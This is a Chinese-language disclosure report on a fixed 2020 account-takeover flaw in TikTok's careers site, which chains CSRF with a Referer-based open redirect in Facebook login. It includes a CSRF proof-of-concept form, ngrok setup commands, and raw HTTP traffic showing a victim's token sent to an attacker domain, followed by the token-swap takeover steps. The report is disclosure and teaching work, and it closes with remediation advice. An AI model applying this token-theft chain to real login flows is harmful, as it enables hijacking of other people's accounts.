TikTok招聘网站的账号接管漏洞
字数 1314 2025-08-18 11:36:47
TikTok招聘网站账号接管漏洞分析报告
漏洞概述
本报告详细分析了TikTok招聘网站(careers.tiktok.com)存在的账号接管漏洞,该漏洞结合了CSRF(跨站请求伪造)和开放重定向漏洞,允许攻击者接管使用Facebook登录的招聘网站用户账户。漏洞于2020年10月17日通过Hackerone提交,TikTok在12天内修复了该漏洞。
受影响范围
- 仅限于TikTok招聘网站(careers.tiktok.com)
- 不影响TikTok其他网站或移动应用程序
- 仅影响使用Facebook账号登录的用户
漏洞技术细节
1. 漏洞前提条件
- 受害者使用Facebook账号在careers.tiktok.com进行过身份验证
- 受害者已同意与TikTok共享数据
- 受害者在Facebook上有活跃会话
2. 核心漏洞点
CSRF漏洞:
TikTok招聘网站在登录点和与Facebook的交互中缺乏有效的CSRF防护机制。
开放重定向漏洞:
网站使用Referer头确定令牌的目标,但没有对Referer值进行适当的白名单验证,导致敏感令牌可能泄露给攻击者控制的网站。
3. 漏洞利用步骤
攻击准备阶段
- 准备CSRF攻击PoC代码:
<html>
<body>
<script>history.pushState('','','/')</script>
<form action="https://careers.tiktok.com/api/v1/user/facebook/login">
<input type="hidden" name="next_url" value="https://redacted.tiktok.com/" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
- 启动本地web服务器:
python -m http.server 1234
- 使用ngrok设置反向代理获取公共域名:
ngrok http 1234
攻击执行阶段
-
诱使受害者访问攻击者控制的网站(如https://abcdefghij.ngrok.io)
-
受害者浏览器向careers.tiktok.com发起登录请求,关键点在于Referer头:
GET /api/v1/user/facebook/login?next_url=https://careers.tiktok.com/ HTTP/1.1
Host: careers.tiktok.com
[...]
Referer: https://abcdefghij.ngrok.io
Cookie: [REDACTED]
- 受害者被重定向到Facebook进行认证:
HTTP/1.1 302 Moved Temporarily
Server: nginx
Content-Type: text/html; charset=utf-8
Content-Length: 283
Location: https://www.facebook.com/v3.2/dialog/oauth?client_id=792134571243895&redirect_uri=https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback&response_type=code&state=[REDACTED]
[...]
- Facebook自动重定向回攻击者控制的域名,泄露敏感令牌:
HTTP/1.1 302 Found
[...]
Location: https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback?code=[REDACTED]&state=[REDACTED]D#_=_
- 攻击者获取包含受害者令牌的请求记录:
GET /api/v1/user/facebook/callback?next_url=https://careers.tiktok.com/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: abcdefghij.ngrok.io
[...]
账号接管阶段
-
攻击者在新的浏览器会话中访问https://careers.tiktok.com/login并点击Facebook按钮
-
攻击者执行正常登录流程,但在最终请求中将自己的令牌替换为之前获取的受害者令牌:
GET /api/v1/user/facebook/callback?next_url=https://[redacted_domain_1]/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: careers.tiktok.com
[...]
- 攻击者成功登录受害者账号
漏洞影响
恶意攻击者可以利用此漏洞:
- 完全接管受害者在TikTok招聘网站的账户
- 访问受害者的个人信息和招聘相关数据
- 可能进行进一步的恶意操作
修复建议
-
CSRF防护:
- 对所有身份验证端点实施CSRF保护机制
- 使用CSRF令牌验证请求来源
-
敏感信息保护:
- 不要向第三方泄露敏感的身份验证参数(如令牌)
- 如果必须使用Referer头,应对其值进行严格的白名单验证
-
会话管理:
- 实施更强的会话绑定机制
- 考虑使用一次性令牌
-
重定向验证:
- 严格验证所有重定向URL
- 限制重定向只能指向可信域名
漏洞披露时间线
- 2020年10月17日:通过Hackerone提交初始报告
- 2020年10月18日:TikTok确认漏洞并给予较高CVSS评分(7.5)
- 2020年10月28日:TikTok发放漏洞赏金
- 2020年10月29日:漏洞修复完成并验证
总结
本案例展示了当CSRF漏洞与开放重定向漏洞结合使用时可能造成的严重后果。开发者在实现第三方登录功能时,必须特别注意CSRF防护和敏感信息的保护,避免因设计缺陷导致账号接管等高风险漏洞。